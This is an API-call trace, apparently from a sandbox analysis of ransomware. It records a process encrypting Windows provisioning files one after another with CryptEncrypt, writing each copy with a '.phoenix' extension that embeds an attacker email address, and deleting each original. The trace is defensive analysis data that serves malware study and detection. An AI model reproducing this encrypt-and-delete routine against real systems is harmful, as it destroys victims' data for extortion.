	[0252.818] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0252.818] CryptDestroyKey (hKey=0x151700) returned 1
	[0252.818] CloseHandle (hObject=0x2d0) returned 1
	[0252.818] CloseHandle (hObject=0x2c4) returned 1
	[0252.818] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\488__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0252.819] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.819] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.819] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\490__connections_cellular_cincinnati bell wireless (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0252.820] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1510c0) returned 1
	[0252.820] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.820] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x29f, lpOverlapped=0x0) returned 1
	[0252.826] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0) returned 1
	[0252.826] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2a0, lpOverlapped=0x0) returned 1
	[0252.827] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0252.827] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.827] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0, dwBufLen=0xe0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0) returned 1
	[0252.827] CryptDestroyKey (hKey=0x151240) returned 1
	[0252.827] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x192, lpOverlapped=0x0) returned 1
	[0252.827] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0252.827] CloseHandle (hObject=0x2c4) returned 1
	[0252.828] CloseHandle (hObject=0x2d0) returned 1
	[0252.828] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\490__connections_cellular_cincinnati bell wireless (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.829] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.829] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.829] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\492__connections_cellular_rural cellular corporation (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0252.830] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1510c0) returned 1
	[0252.830] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.830] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2a2, lpOverlapped=0x0) returned 1
	[0252.835] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2b0) returned 1
	[0252.835] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2b0, lpOverlapped=0x0) returned 1
	[0252.836] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151400) returned 1
	[0252.836] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.836] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0, dwBufLen=0xe0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0) returned 1
	[0252.836] CryptDestroyKey (hKey=0x151400) returned 1
	[0252.836] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x192, lpOverlapped=0x0) returned 1
	[0252.836] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0252.836] CloseHandle (hObject=0x2d0) returned 1
	[0252.837] CloseHandle (hObject=0x2c4) returned 1
	[0252.837] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\492__connections_cellular_rural cellular corporation (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.839] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.839] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.839] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\494__connections_cellular_t-mobile usa (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0252.840] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151240) returned 1
	[0252.840] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.840] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2da, lpOverlapped=0x0) returned 1
	[0252.845] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0252.845] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0252.847] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151400) returned 1
	[0252.847] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.847] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0252.847] CryptDestroyKey (hKey=0x151400) returned 1
	[0252.847] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0252.847] CryptDestroyKey (hKey=0x151240) returned 1
	[0252.847] CloseHandle (hObject=0x2c4) returned 1
	[0252.847] CloseHandle (hObject=0x2d0) returned 1
	[0252.848] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\494__connections_cellular_t-mobile usa (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.851] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.851] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.851] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\496__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0252.855] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0252.855] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.855] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2db, lpOverlapped=0x0) returned 1
	[0252.861] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0252.861] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0252.862] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0252.862] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.862] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0, dwBufLen=0xe0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0) returned 1
	[0252.862] CryptDestroyKey (hKey=0x151380) returned 1
	[0252.862] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x192, lpOverlapped=0x0) returned 1
	[0252.862] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0252.862] CloseHandle (hObject=0x2d8) returned 1
	[0252.862] CloseHandle (hObject=0x2f0) returned 1
	[0252.863] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\496__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.864] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.864] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.864] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\498__connections_cellular_t-mobile usa_ simple mobile (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0252.864] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0252.864] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.864] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d8, lpOverlapped=0x0) returned 1
	[0252.872] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0252.872] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0252.873] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1510c0) returned 1
	[0252.873] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.873] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0, dwBufLen=0xe0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0) returned 1
	[0252.873] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0252.873] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x192, lpOverlapped=0x0) returned 1
	[0252.873] CryptDestroyKey (hKey=0x151400) returned 1
	[0252.873] CloseHandle (hObject=0x2f0) returned 1
	[0252.873] CloseHandle (hObject=0x2d8) returned 1
	[0252.873] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\498__connections_cellular_t-mobile usa_ simple mobile (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.875] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.875] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.875] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\499__connections_cellular_t-mobile usa_ walmart (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0252.875] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151180) returned 1
	[0252.875] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.875] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2dd, lpOverlapped=0x0) returned 1
	[0252.937] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0252.937] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0252.938] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151400) returned 1
	[0252.938] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.938] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0252.938] CryptDestroyKey (hKey=0x151400) returned 1
	[0252.938] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0252.938] CryptDestroyKey (hKey=0x151180) returned 1
	[0252.938] CloseHandle (hObject=0x2d8) returned 1
	[0252.938] CloseHandle (hObject=0x2f0) returned 1
	[0252.939] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\499__connections_cellular_t-mobile usa_ walmart (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.941] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.941] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.941] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\500__connections_cellular_t-mobile usa_ roam mobility (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0252.942] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151680) returned 1
	[0252.942] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.942] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d4, lpOverlapped=0x0) returned 1
	[0252.992] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0252.992] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0252.992] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1515c0) returned 1
	[0252.993] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.993] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0, dwBufLen=0xe0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0) returned 1
	[0252.993] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0252.993] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x192, lpOverlapped=0x0) returned 1
	[0252.993] CryptDestroyKey (hKey=0x151680) returned 1
	[0252.993] CloseHandle (hObject=0x2f0) returned 1
	[0252.993] CloseHandle (hObject=0x2d8) returned 1
	[0252.993] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\500__connections_cellular_t-mobile usa_ roam mobility (united states)_i0$(__mvid)@wap.provxml")) returned 1
